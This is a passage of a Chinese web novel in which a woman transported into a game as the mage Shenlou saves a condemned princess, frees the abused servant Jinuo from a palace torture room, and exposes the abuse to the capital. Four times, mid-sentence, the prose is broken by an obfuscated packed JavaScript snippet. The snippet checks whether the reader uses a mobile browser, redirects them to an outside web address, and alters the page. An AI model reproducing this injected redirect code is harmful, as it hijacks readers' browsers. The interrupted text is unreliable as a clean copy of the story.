“哪有那么好的事情。”系统说,“这种情况,光靠魔法就能治好也太不符合能量守恒定律了。再说要真能这样,这里的医生啊药师啊,全都得失业。” ……说得好像凭空喷火烧开墙壁逃走这种事情就很符合能量守恒定律一样。 蜃楼撇撇嘴,从衬衫袖口扯下一块布料。烧开的水他喂了希娅一些,剩下的则放在一旁晾凉。现在算起来,大概只能说不烫,很难起到降温的效果。 他拿手试了试水温,果然是热的,不禁沮丧起来。 系统沉默了一阵,不敢置信地问他:“大人,你不会是想找冷水来降温吧?” 蜃楼莫名其妙:“不然呢?” “你忘了吗?你会魔法的啊!”系统无奈地说,“只要你想,一边唱歌一边搓一座冰雪城堡出来都没有问题。” 蜃楼:“……” 别说,习惯了在科技时代做普通人,一下子变成大魔法师还真有点不适应。 可是这就符合能量守恒定律了吗? ……算了。游戏世界,不能认真。 一分钟后。 在系统的指导下,大魔法师蜃楼终于成功违背能量守恒定律变出了一堆冰块。他用扯下来的布料将冰块包好,小心地放在了希娅的额头上。 “这样就可以多争取一些时间了。”系统说,“接下来去找医师。我看看啊,最近的城镇大概在……” 蜃楼却打断它:“不用找城镇。找希恩宫殿的坐标,能精确定位到他的花园最好。” 他在最后关头暴露了自己,希恩肯定不会善罢甘休。带点魔法的世界观信息传播得不会太慢,恐怕不多时全国都要贴满他和希娅的通缉令了。 这座神殿归根还在弗洛瓦境内,周围的城镇受到通缉令影响只是时间问题。 反正,先未雨绸缪起来吧,蜃楼想。 比起找别的医师,其实三位男主里,就有一个十分合适的人选了。 系统顿了一下,随即反应过来:“你是指……季诺?” 季诺是《不合格皇女》中,那个唯一可以说是正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648633|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的男主。 他没有蜃楼的专横和控制欲、也没有另一位抖M阿忒菈的阴郁和沉重,只喜欢侍弄花草、研究医术,在这部游戏里,是个善良到有些格格不入的人。 他的出场本该是希娅在皇城彻底站稳脚跟之后的事了。按登场顺序来说,三位男主应该是神秘法师蜃楼、复眼骑士阿忒菈和草药师季诺。 现在,剧情是放飞得差不多了,直接把男主绑过来好像也没什么问题……当然阿忒菈那种还是算了。 蜃楼点点头,从火堆里挑了一块木炭出来:“半个小时够你找了吗?” “等等,咱们一个半小时前才从希恩手底下逃回来诶!”系统吃惊地说,“又要回去吗?皇城现在是警戒最严的时候了吧?” 蜃楼说:“皇城或许戒严,但希恩的宫殿并不一定。他想破脑袋也不会猜到我绑完希娅还要去他家绑架他的男仆。” 系统沉默了。 过了一会儿,它报出希恩宫殿的坐标,由衷地发出感慨:“俗话说人不可貌相,大人,我还真是轻看了你……” 蜃楼嘁了一声,没再接茬。 他看了眼依然昏迷不醒的希娅,站起身另找了一块空地,蹲下去开始用木炭画新的传送阵。 要么说还是这玩意好用呢。 如果能带回现代就好了,蜃楼默默地想,不但不用担心晚自习打卡和兼职的时间冲突,连找工作也不用考虑通勤…… 可是,话又说回来了。 传送阵这玩意难道就符合能量守恒定律了吗? * 说到希恩这个家伙,钟灵其实不是很喜欢他。 他在剧情里属于反派阵营。因为《不合格皇女》的主线目标是夺嫡,同样剑指皇位的哥哥们便理所当然地站在了希娅的对立面。 但是,比起大皇子亚纶,希恩一直用更激烈的手段将希娅视作对手—— 比如一开始希娅的失踪便是他做的;又比如现在这条BE路线里,针对希娅的死刑判决也是由他推动的。 唯一的失算,大概是亚纶把行刑场所从皇宫挪到了市场前,反而将这个过程变成针对希恩的杀鸡儆猴了。 现在希娅没死,希恩肯定会再来找麻烦。 只绑走季诺是不够的。 至少得弄出点乱子,让他自顾不暇最好。 传送阵画好了,坐标也拿到了手。蜃楼捻着自己显眼的白发,没来得及后悔之前怎么没多扯走几块窗帘布,忽然想起他是个可以凭空变出一座冰雪城堡的大魔法师。 于是在系统的指导下,又复制了几块颜色不同的绒布出来:暗绿色的当做伪装、白色的提前用炭画上传送阵备好、黑色的当成包袱布……当然这个过程,显然是比变出冰块更不符合能量守恒定律的。 最后,揣着一兜子窗帘布,大魔法师蜃楼再一次踏上了作恶的旅途。 5. 第 5 章 事实证明,蜃楼的猜想是正确的。 在他与希娅在众目睽睽下消失之后,弗洛瓦皇室立刻宣布皇城进入戒严状态。所有出入口都被封锁,商店关门、街道净空,家家户户门窗紧闭,惟有装备严整的卫队与骑士穿梭于大街小巷之间,四下搜查。 不过,来到弗洛瓦皇室居住的城堡群,情况便不一样了。 没人觉得一个奄奄一息的死刑犯会跑进皇宫内自投罗网。皇家卫队没有因此加强城堡的安保,直属皇家的“篱笆骑士团”也集中在皇城内活动,并未将注意力转向弗洛瓦的宫殿。 同样的,在二皇子希恩所居住的达木兰宫内,一切依然一如既往。 ——除去那场突如其来的暴雨带来的一片狼藉。 宫殿内廷,露天花园被暴雨冲得狼狈不堪。 这里的佣人不关心什么消失的死刑犯,只知道自己没照顾好希恩的花园;而这对他们来说,已经是一个天大的噩耗。 所有人都知道,弗洛瓦帝国的二皇子希恩个性爽朗、不拘小节,是三位皇嗣中最平易近人的一位。达木兰宫作为希恩生活起居的宫殿,在此处工作,本该是件美差,可现实却恰恰相反。 达木兰宫有个“好主人”,管理宫殿的执事路兰却不是善茬。 此人吹毛求疵、专横独断。更重要的是,他对权势的追求已经达到一种病态的地步,决不允许任何人忤逆他的命令,更不能接受任何让他利益受损的事情发生—— 然而,因为这场暴雨,花园中的许多植物都变得东倒西歪。美丽的圣地成为一片狼藉,在追捧花神维洛尼亚的弗洛瓦皇室,这样脏乱的花园是决不容许存在的。 执事路兰对此感到十分生气。 “废物,一群废物!” 他在花园内一边低声唾骂,一边焦急地踱步。 只有他知道二皇子希恩真正的德性。这样的花园要是叫他看到,自己少不了好果子吃;可路兰是决不会为此承担责任的:花园没打理好是那些园丁的错,关他什么事? 但事已至此,必须要有一个人为此负责—— 他要思考合适的人选,最好能杀鸡儆猴…… 扫除与清点工作同步展开,制服严整的男佣们在凌乱的花园中匆匆穿行。此时恰有一位新来的园丁,捏着花枝悄悄地松了口气。 他刚刚确认,损毁的植物中并没有珍稀品种。 出于侥幸心理,园丁主动将消息禀报给路兰,试图换取执事的理解。却没想到回应他的,是对方更严厉的贬损:“这根本是不必要的损失!暴雨前会没有征兆吗,明明是你自己失职,还找什么借口?” 年轻的园丁讪讪地为自己开解:“可是先生,暴雨之前确实是是万里无云的晴天啊……我向您发誓,第一滴雨落下的时候我就去找雨蓬了,附近的男佣都能为我作证!” “哼。”路兰冷笑一声,眼里浮现出嘲讽的神色,“你没有问题,那现在我们头顶上的是什么?下了雨天还这样黑,之前难道会没有云吗?哦。还是你想说,这一切都是我这个执事的错?” 园丁脸色一白,连忙辩解道:“不、不是的……先生,我没有那个意思……” “够了。”路兰拍了拍手,冷淡地打断他,“你要人作证是吧?所有人,现在立刻给我停下工作。” 话音刚落,原本忙碌着收拾花园的男佣们立刻停下手中的动作,齐刷刷地将目光转向路兰与园丁所在的方向。压力给到年轻的园丁,众人突如其来的视线让他难以适从,只能烧红着脸低下脑袋,不知该说些什么。 即使论起身份,他也是某个男爵的远亲,大有直面这些视线的底气——然而,他现在竟连抬头都做不到,自辩的勇气更是荡然无存。 显而易见地,路兰并不关心他是谁的侄甥。 执事瞥了他一眼,张口说道:“我们这位园丁说,花园变成这副样子不是他的责任,而是我这个执事的问题。我这个人比较务实啊,所以得听听各位的说法。大家觉得,他说得对吗?” 花园内鸦雀无声。 对于园丁来说,这是十分可怖的沉默。在这短暂的几分钟内,他的额角淌下冷汗,开始懊悔自己多此一举:是,他是个新来的,在成为达木兰宫的园丁之前,他只是个在偏远封地帮男爵打理花园的闲人,连皇城也未曾踏入过一步。正因如此,也正因他从没见过路兰的手段,才会这样天真地思考,才会想当然地为自己开脱…… 现在,他终于认识到残忍的现实。 没有人站出来回应,这是理所当然的。路兰并不意外,他将目光转回园丁身上,嘲弄地看着他:“真是令人遗憾,小瓦斯。看来你没有你表叔马坎男爵那样的担当。正好,现在进了达木兰宫,就由我来替他管教你……拖下去,送去禁闭室。” 路兰一声令下,便有几个身形高大的男佣一拥而上。园丁被他们围堵在中间,露出惊慌的神色。 他从没听说过达木兰宫有什么禁闭室,但这反而说明禁闭室绝不会是一个好地方。园丁一边剧烈地挣扎,一边大声呼救,可路兰只是使了个眼色,男佣们便将他的嘴用抹布严严实实地堵上了。 园丁的目光变得惊惧起来。 几个男佣几乎是以拖拽的形式将他拉出这座花园。粗暴的动作之下,园丁身上精致的制服被植物的尖刺划得千疮百孔、破烂不堪,一如他被路兰反复践踏的尊严。 可在达木兰宫当职,这样的惩罚反而是最微不足道的。对路兰来说,这个人,还缺乏很多的“磨炼”呢。 路兰收回视线,正要让其他男佣们继续工作,却听人群中有个少年的声音响起来: “……可今天的暴雨确实没有征兆啊。” 园丁眼前一亮,在看清发言的只是一个矮小瘦弱的棕发男仆之后,表情迅速地灰暗下去。 路兰却一反常态地露出了微笑。 “哦,花神在上,这是谁啊?”路兰拍拍手,让其他男仆继续工作,自己则走到那个小男仆的身边,惊奇地说,“季诺,我们可怜的、无家可归的小王子?不对,瞧我这记性,差点忘了。格拉斯王室都已经被斩首示众啦,脑袋还挂在城墙上呢。小季诺也不是什么王子,只是个运气好的男佣罢了。” 被称作季诺的男仆抿着嘴唇,并没有对路兰的挑衅作出太大反应。他抬眼看着路兰,将刚才的话坚定地重复了一遍:“这不是园丁的错,我作证了。他可以不用去禁闭室了吧?” 路兰轻笑一声,反问道:“可我怎么知道你没有在撒谎呢?” “因为观星师送来的占卜说今日万里无云,他们也没有预料到这场大雨。”季诺认真地说,“这件事谁都没错。可如果您实在想找出一个人为此负责的话,就让我代替他去禁闭室吧。” 路兰的眼角抽了抽,彬彬有礼的假面裂开了一丝缝隙。他叫停正在拖拽园丁的男仆们,对季诺说道:“看你说的……我难道是那种卑劣的人吗?” “这不是暴雨的问题。人总不能没有担当,我只是让我们新来的园丁及时认识到自己的错误罢了。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648634|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,手指在空中划动两下。一旁的男仆们迅速领悟,将塞在园丁口中的领巾拿了出来。 “不过,鉴于殿下当初特意向皇帝陛下要的你。这等青睐……”路兰顿了顿,似笑非笑地说,“想要代替他受罚是吗?我可以破例实现你的要求。当然,咱们不能自作主张,这事儿还得问过本人的意见才行。” 不待季诺回应,他便转身去问那位园丁:“小瓦斯,你愿意让他代替你接受惩罚吗?” 园丁不明白路兰对季诺的恶意又是从何而来,但注意到眼下二人同为“被压迫者”的立场,忽然对季诺产生了某种惺惺相惜的革命情感。 很多时候,有个愿意出头的人也许真的能够改变现状。 于是,当园丁终于获得开口的权利,他重拾勇气,充满决心地说:“一人做事一人当!是我没做好的事情,您要罚就罚我好了,不要牵连无辜的人!” 奇怪的是,听见园丁这样坚决的发言,季诺的脸上却并未露出动容的颜色。反倒是路兰眯起了眼睛,表情变得玩味起来。 “你这份觉悟真是太令我意外了,小瓦斯。”路兰说着,打了个手势,那帮强壮的男仆便像举起一条树枝一样举起了园丁的右臂,“但是,一码归一码,该有的惩罚还是不能少。不然这些花儿就白折了,是不是?” “咔嚓”一声,园丁的右臂被强行扭转过来。男佣们松开手,那条胳膊也无力地垂落下来,以一个诡异的角度挂在园丁的身上。 这一切发生得太快,以至于当他真正意识到发生什么的时候,右臂只剩下排山倒海般的疼痛了。 那点觉悟和坚定在本能面前根本微不足道。因疼痛而扭曲的脸蔓延上恐惧,园丁却没能发出一声哀嚎,因为路兰又让男仆将他的嘴堵上了。 “不用担心,不用担心。”路兰温柔地安抚他,“达木兰宫有帝国里最好的药草,这一点伤很快就会痊愈的。你要保存好力气留到禁闭室好好反省哦。” 园丁瞪大眼睛,几乎已经预料到在禁闭室会有什么在等待他。他呜咽了几声,被领巾塞着的嘴里发出“哧哧”的声音,一边拼命地蹬着双腿,一边伸出完好的左手挣扎着指向季诺。 路兰被他滑稽的举动逗笑了。 他挥手叫停男佣们的动作,走到园丁身边,亲自拆下他嘴里的领巾,温和地说:“看来我们的小瓦斯还有话想说。” 园丁咳嗽几声,仿佛抓住救命稻草一般拽住执事的衣角,祈求道:“路兰执事!我……我改变主意了!就让那位善良的男仆代我受罚吧!” 季诺不是第一次主动为他人解围。至于这样“改变主意”的情景,也早在达木兰宫中上演过许多遍了。 路兰对此司空见惯,他万分期待季诺学会缄默的那一天。可在这样紧迫的现在,能有一次教训季诺的机会,更让他感到欣慰。 那张英俊、年轻的脸上则显现出虚伪的动容。执事感叹了一句“真是令人感动的情谊啊”,向男仆们递了个眼神,他们便松开园丁,转而向季诺走去。 情况就这样倒置过来。 被男仆钳制住的季诺没有挣扎、没有讨饶,只是安静地看着地面,像个任人摆布的玩偶。 “对、对不起……”园丁捂着受伤的胳膊,狼狈地从地上站起来,不敢看季诺的表情,“我……我是园丁,不能再失去一条胳膊了……” “没关系。”季诺抬起头来,朝他笑了笑,“没有人愿意受伤的。” 在男仆们的包围下,那抹瘦小的身影很快消失在花园尽头。 6. 第 6 章 就外在表现而言,路兰和蜃楼一样,都是彻头彻尾的混账东西。不过若要划分等级,路兰的变态程度反而比蜃楼要更轻一些——至少,他并不以他人的痛苦取乐。 折磨只是路兰达成目的的手段。大多数情况下,他不会亲自动手,而是让手下的男佣代劳。达木兰宫所谓的“禁闭室”,便是他们动用私刑的场所。 要知道希恩的宫殿中没有女人,而在这成群的、被压迫的男人之中,积攒的怨恨和痛苦是决不可能凭空消散的。 强者压迫弱者,弱者则拔刀向更弱者。 比起路兰自己,那些长久受他欺压的男佣,更擅长帮他“教训”不听话的人。 在季诺被关进禁闭室后,尽管花园内忙碌不堪,却依旧有两个男佣默契地留了下来。 禁闭室的墙上挂着五花八门的刑具。这两人一边叽叽喳喳地讨论,一边兴奋地逐个挑选比划。似乎接下来要发生的并非他们单方面的施暴,而是什么轻松休闲的娱乐活动…… 蜃楼暗中跟了他们一路,现在实在是无法继续容忍下去了。 他解除魔法从阴影中现身,拿着花园里顺来的园艺剪刀,给这俩人的后脑勺各来了一下。 “邦”、“邦”两声,两个男仆先后倒在地上晕了过去。而季诺此刻被束缚在椅子上,安静地看着这位访客,表情并不诧异。 严格地说,这是他们的第二次见面。 第一次见面发生在半小时前。那个时候,达木兰宫的仆人都在为暴雨后的花园忙得不可开交。除了季诺,没有人注意到有位未经允许的访客出现在花园的角落——还披着一件几乎融入花丛的暗绿色斗篷。 明明没有任何交流,季诺却心照不宣地收回视线,没有向执事路兰揭发他。 他有一种奇怪的预感,总觉得会和那个披着斗篷的男人再见一面。只是没想到第二次见面会来得这么快,还是在这里,“禁闭室”……这个令人沮丧的地方。 蜃楼没有说话,只是放下斗篷,嫌恶地用脚将两个失去意识的男仆踢到一边。 他现在的心情有点古怪。 目睹路兰那样跋扈的行径,他能料想到这是希恩长期纵容的结果。这样看来,被困在达木兰宫的季诺,处境并没有比希娅好上多少。 可是,这反而提醒了“钟灵”一件非常重要的事实—— 蜃楼对希娅做的恶事只多不少。 等到希娅恢复意识,怎么可能愿意继续遵从“蜃楼”的想法夺嫡,怎么会接受他以蜃楼的身份提供的帮助? 她到底该怎么完成这所谓的任务? 钟灵不喜欢这个世界,她只想赶快回去。一个人住院也好,在这里多待一刻都是煎熬。 尤其这间所谓的“禁闭室”…… 在游戏中只是苍白的文字,看了最多骂一句“恶心”,现在却被立体地展现在她眼前了。 她能看见墙上的血渍、生锈的仪器上的种种划痕,能闻到空气中漂浮的潮湿腐朽的味道。这种身临其境的体验,已经让钟灵完全没办法催眠自己、置身事外了。她现在只能强迫自己不去思考这些痕迹的成因,再连做几次深呼吸,稳定住自己的情绪。 季诺大约是觉察到什么,关心地对他说:“你还好吗?这里不是什么好地方……快走吧,我不会告诉其他人的。” 要不要这么善良啊……蜃楼无声地叹。他蹲下身去,目光与季诺平视,开门见山地问道:“你要跟我走吗?” 季诺睁大眼睛,脸上第一次出现惊讶的情绪:“你是来带我走的?” 他的视线落在蜃楼身后鼓鼓囊囊的绒布包里,有一些植物的叶片露了出来。那是非常名贵的东西,从前是给重伤初愈的战士滋补的草药,现在则因为外形美观,成了彰显主人地位的观赏植物。 这种草药,达木兰宫的花园里种了很多。因为雨篷展开得即时,它们并没有被暴雨影响,依然保持着完美的状态。 如果拿去卖钱,一百克就能换到一枚金币。他包裹里的这些,大约有五枚金币的样子,已经是普通人五年也赚不到的财富了。 季诺想了想,认为自己并不和这些药草一样,拥有能被这位神秘访客带走的价值。 蜃楼察觉他的视线,心虚地将绒布包往后收了收。他正要张口解释,忽然想起什么,停顿了一下,说道:“有个忙只有你能帮我。当然,不会让你白干的。作为报酬,我能还你自由身,还有……” 他站起身,走到门边,将手在上锁的特制门闩上,缓慢地念了一串咒语。不一会儿,整个门闩便融化成水脱落了。 “我看希恩不顺眼很久了,准备给他找点麻烦。”蜃楼转头望向季诺,神色认真地提议,“要来看看吗?在这里等着也行,我稍后来接你出去。” 季诺惊奇地看着他,试图在蜃楼的脸上找到他敢于这样对抗二皇子希恩的底气…… 事实上,还真能看出来呢。 这个人的外表太引人注目了,绝不可能来自普通的家庭。还能这样流畅地使用魔法,也许是哪个魔法世家的子弟吧。 为什么会和希恩结仇呢? 他想了想,从床铺上跃下来,走到蜃楼身边,诚实地说:“我想去看看。” 只有十七岁的季诺,因为营养不良,身高、外貌看起来都与十三四岁的孩子一样。蜃楼看着他只到自己胸口的脑袋,不忍地伸手摸了一下。 “好。”他把瘦弱的季诺裹进他暗绿色的窗帘布里,“很高兴认识你,季诺。自我介绍一下吧,我的名字是——” “蜃楼。” * 作为一位大魔法师,蜃楼想找希恩的麻烦,并不是一件难事。 他可以在达木兰宫的花园里放火,或者说干脆用魔法制造一场地震,让整座宫殿坍塌。把事情闹大了,希恩自顾不暇,自然没工夫亲自追查他和希娅的下落。 但这样留下的影响浮于表面,很快就会被解决的。 他要埋下一颗深远的种子。 现在,蜃楼亲眼目睹了禁闭室的存在、看见了男佣们谈论作恶的过程,而这已经是一颗很好的果实。只要稍加利用,就能收获一件无论是在现实、还是这个世界,都令人十分头痛的东西—— 舆论。 动用私刑、虐待家仆在这个世界是令人不齿的行为,更何况希恩在外的表现一直温良。蜃楼从系统处问来了投射影像的魔法,还在它的指导下创造了一个形似季诺的幻影留在禁闭室内,随后,他带着季诺,悄悄地回到达木兰宫的露天花园里。 “可是,您要投给谁看呢?”系统不解地问,“弗洛瓦皇室肯定会包庇希恩的。虐待男仆这种小事,他没有亲自参与,撇清关系不难,还不如直接烧了他的花园来得痛快……” 系统说得没错。 出于投影魔法的局限,他这么做并不能掀起太大的风浪。 投影魔法与现代的投影仪类似。需要由魔法师决定好想要在画面中出现的场所,确定放映投影的对象,比如墙面、画布之类的,才能从魔法的角度做到直播的效果。 至于投影大小、画面质量,就要看魔法师本人的魔力储备了。 在这一方面,钟灵对蜃楼的预期很高。 法阵绘制在直播场所,画起来比传送阵简单很多,他在禁闭室内的时候就已经画好。 只剩下选择媒介、吟诵咒语了。 蜃楼带来的便携传送阵(窗帘布)足够他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648635|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在偌大的弗洛瓦城堡群内再进行一次穿梭。系统可以帮他定位到皇帝寝宫、或者是亚纶所在的苦竹宫,然后随便找个离他们俩最近的媒介施咒。 禁闭室的两个男仆很快就会醒来。在幻象的干扰下,他们不会记得自己曾失去意识,继续对残存的幻象完成未竟之事。 然后,禁闭室画面就会被投影到指定的媒介上。用现代的说法,应该叫“现场曝光”。 不过,单单这样做,是不行的。 照游戏里弗洛瓦皇室的风格,给皇帝或者亚纶看的话,恐怕只有那两个男仆会被处决。连背靠伯爵的路兰都不一定受到什么实际上的惩罚,更不用提二皇子希恩了。 蜃楼这样想着,一边在心中默念系统教给他的咒语,一边抬起头望向天空。 暴雨停息了,漫天的云雾却仍未散去,像一堵厚重而冰冷的墙,将这个世界与温暖的太阳彻底隔绝开来。 此刻,蜃楼眯起眼睛,金色的瞳仁深处划过一道微光。 面对着阴沉的天空,他忽然开始轻声地吟诵咒语。 系统在他脑海里惊异起来:“等等,这个是要选定好对象才能吟唱的咒语……我们还在达木兰宫啊大人,你想投给谁看?!” 蜃楼没有回应它。 躲在他斗篷下的季诺似有所觉,小心地探出头查看。出于同色系斗篷的庇护,往来的男仆不会注意到躲在花丛中的他们,而希恩尚未回宫、路兰也早已不在花园里了,再没有人能构成他的威胁。 于是, 以整片天空为荧幕,以漫天积云为媒介—— 达木兰宫中悄然发生的罪恶,在蜃楼咒语落下的一瞬,被无情地揭下伪装,展示在整座皇城的人们面前。 苏醒的两位男仆面对着不存在的幻影做尽了恶事。令人意外的是,从花园离开的路兰竟然也出现在了禁闭室里。 看来他对季诺确实有很大意见,蜃楼想。否则也不会跟那些男仆一样沉湎在幻境里,连房间里多了个法阵、少了个门闩都没察觉…… 当然,由魔力创造的幻象是不会被记录进投影里的。云层中出现的画面只是两个男仆拿着稀奇古怪的刑具互相抽打、执事路兰微笑着坐观罢了。 但这已经足够造成巨大的轰动。 季诺完全看呆了,露天花园里收拾残局的男佣们也在抬起头后纷纷愣在原地,露出不敢置信的神色。 有几个人率先反应过来,跑进了宫殿里。 过了一会儿,投影的画面里出现了赶去报信的男仆。他焦急地跟路兰耳语了几句,终于让执事回过神来,意识到发生了什么。路兰气急败坏,一人一脚踹倒了胡作非为的两个男佣;又拿起刑具架上的铁锤,四处寻找魔法的痕迹。 可惜,他没有魔法天赋,即便找到魔法阵也是徒劳无功。 一盏茶的时间过去,二皇子希恩面色铁青地出现在了禁闭室门口。 系统说魔法师设下的法阵只有魔法师能摧毁,也不难猜想,他是来收拾自己的烂摊子的。 蜃楼抱臂看着希恩想要对路兰发作、又得顾忌现场直播、只能在画面里咬牙切齿摧毁法阵的样子,感觉痛快得不行。 最终,画面在希恩扬起的剑光下中断。天空闪了闪,恢复到阴霾的颜色。 蜃楼拍拍季诺的肩膀:“怎么样,考虑一下帮我的忙?” 季诺回过神来,用力地拍了拍脸颊。 在确认眼前发生的一切不是什么虚幻的梦境之后,他转过身,朝蜃楼行了故国最为庄重的礼节。 “不论是什么忙、哪怕豁出性命——我都在所不辞。”棕发少年这样说着,翡翠般的眼眸中盛满了感激,“谢谢您,蜃楼先生……真的,谢谢您。” 7. 第 7 章 数分钟后,废弃神殿内部。 噼啪燃烧的篝火上,废置盾牌努力发挥厨具的职能,正在炖煮一锅菜汤。 与蜃楼回到据点的季诺坐在昏迷不醒的希娅身边,表情有些凝重。他伸出手在周围探了探,而后才意识到这里不是达木兰宫,也没有他惯用的工具包…… 耳畔传来窸窸窣窣的声响,自称蜃楼的魔法师在他身边坐下。用来遮掩身形的绒布已经被他收好,现在是坦坦荡荡地站在阳光下面。柔顺的白色长发垂落一地,圣洁慵懒的气质与神殿浑然一体,仿佛他本就属于这个地方。 “蜃楼先生。”季诺定了定神,向他伸出手,“您有剪刀吗?希娅的伤口和衣服黏在一起了,要尽快处理一下……” 蜃楼点点头,从身后掏出一把半米长的园艺剪刀。 这显然正是数分钟前他用来打晕那两个男仆的凶器,因为手柄部分还沾着不明的红色液体。多数魔法师并没有强大的身体素质,这一位……下手居然有这么重的吗?季诺暗自吃惊。 见季诺没有反应,蜃楼有些失望:“这个不行吗?” 季诺噎住,连忙摆摆手:“可以的可以的。但是先消一下毒……” 然后他便看着蜃楼把剪刀伸进篝火里烤了一会儿,又将它放进旁边备好的净水里。“刺啦”一声,再次冷却下来的园艺剪刀散发出温和的光泽,至少看起来不像可疑人士的凶器了。虽然说它本来也只是一把单纯的园艺剪刀…… 蜃楼将处理好的园艺剪刀递给季诺,季诺小心地接下来,开始为希娅处理伤口。 “其实,是要救希娅的话,我愿意直接过来的。”季诺一边处理着希娅的伤势,一边轻声说道,“不需要您为我做那么多……就算是魔法师,招惹上弗洛瓦皇室,也会给自己带来巨大的麻烦。” 他其实还没弄明白到底发生了什么。 今天在达木兰宫发生的一切太过虚幻。要知道这世界上除了弗洛瓦皇室,几乎已经没有几个高调的魔法师了;可以夸张地说,现在的世道,连魔术师都比正儿八经的魔法师要多。 在这样的前提下,怎么会有一个魔法师,如此恰好地出现在皇城,不光救下了本该被处刑的希娅,还从达木兰宫中带走了他呢? 季诺完全想不明白,但他愿意相信蜃楼不是一个居心叵测的人。 另一边,接连赶了两场大戏的蜃楼有些昏昏欲睡。 他打了个呵欠,想着至少撑到希娅没问题了再去休息一会儿。然后听见季诺说的话,动作一顿,露出莫名其妙的表情。 系统点他:“他在自责呢,多好一孩子。” “这我当然知道。”蜃楼在心里没好气地和系统商量,“没叫你的时候别吱声,行吗?我不想让人看出来我是个没事还得跟脑子里的另一个声音拌嘴的人。” 系统闭嘴了。 蜃楼收拾好心情,反问季诺:“你是不是误会了什么?” 季诺不解地看向他。 蜃楼想了想,伸出一根食指,指了指自己、又指了指昏迷的希娅。 “我不是什么好人,也不是善心大发才救的她和你。”蜃楼认真地说,“我有自己的目的,我的一切行动都以实现我个人的目标为转移。跟你俩没有半毛钱关系,明白吗?” 反正完成任务后就要离开的。 在这段时间里,钟灵早已经明确了她的方法论:把自己当成来这里打卡的游客,行动能多低调就多低调,绝不和原住民产生太多交集。 “这样……”季诺似懂非懂地点头,又反应过来什么,飞快地摇了摇头,“不对不对,可您看起来也不像坏人啊。” 蜃楼收回手,沉默了一会儿,幽幽道:“世界上不只有好人和坏人,我就是个比较倒霉的普通人罢了。” 普通人? 季诺停下手里的动作,表情有点微妙。 所谓“当局者迷,旁观者清”。蜃楼现在看不到自己的脸,当然意识不到他现在顶着这个马甲说出这句话的冲击力。 5G冲浪的钟灵在十七岁时曾取笑过声称自己对钱不感兴趣的富豪。多年前的回旋镖此刻正中靶心,见她浑然未觉、依然满脑子想着回家的样子,系统本想出声嘲笑,然而权衡一番,还是选择继续装死下去。 说回正题。 人总是会对利己的事物产生好感,季诺也不能例外。 他看出蜃楼不想多说,于是识趣地不再深究下去。只是一边为希娅清理伤口,一边在脑海中暗暗地创造了一套足以说服自己的逻辑: 蜃楼一定是怕他和希娅有负担才那样说的。 魔法师的境界不能以凡夫俗子的眼光衡量,抱持目的也一定是以万物苍生为先。否则,蜃楼又为什么要冒着得罪弗洛瓦皇室的风险去拯救希娅呢? 他在见到希娅之前,只以为蜃楼和希恩有什么过节;但在见到她之后,先前的推断全部都要打翻重建。弗洛瓦现在几乎是这世上最具名望的魔法世家了,蜃楼却愿意冒着与他们为敌的风险,从刑场上救下希娅。 更不用提后面还跑到达木兰宫救他…… 这么一想,他果真是个温柔而强大的人! 于是,季诺再度投向蜃楼的目光变得钦佩起来。 而蜃楼此刻,也在出神。 他不知道季诺在想什么,只知道自己忙活一天只抢来了个季诺,希娅甚至还没有恢复意识的迹象…… 进度太慢。都做蜃楼了,能不能把姓弗洛瓦的都先打晕关起来,推希娅上位之后再将他们放出来呢?他顺着这个思路想了一下。还以为系统会钻出来反对,等了一会儿,却没听到它的声音。 就说了一嘴,真老实了? 蜃楼觉得非常意外。正想敲敲系统,那边季诺却站了起来——看样子,他已经处理好希娅身上的伤口了。 在系统的指引下,蜃楼几乎把达木兰宫花园里派得上用场的草药都薅了回来。外敷内用一应俱全,季诺熟悉这些,现在已经把希娅身上的伤处理得妥妥当当了。 “希娅的烧已经退了。”季诺用手探了探希娅的额头,斟酌地说,“但是,她现在的状态不是很好……只有草药可能不够,还需要显影药水。” “显影药水?”蜃楼不太明白。 “显影药水是一种能让皮肤暂时透明化的魔药,能帮助医师看到患者体内的情况。因为不是罕见的药物,大多城镇的商店里都有供应。”季诺不疑有他,认真地向蜃楼解释道,“如果只有外伤,希娅不会昏迷到现在,我怀疑她身体内部也出了问题。” 蜃楼听完,赶紧把装死的系统敲起来:“你之前说希娅受了什么伤?” “你叫我的时候目的性还能再强一点吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 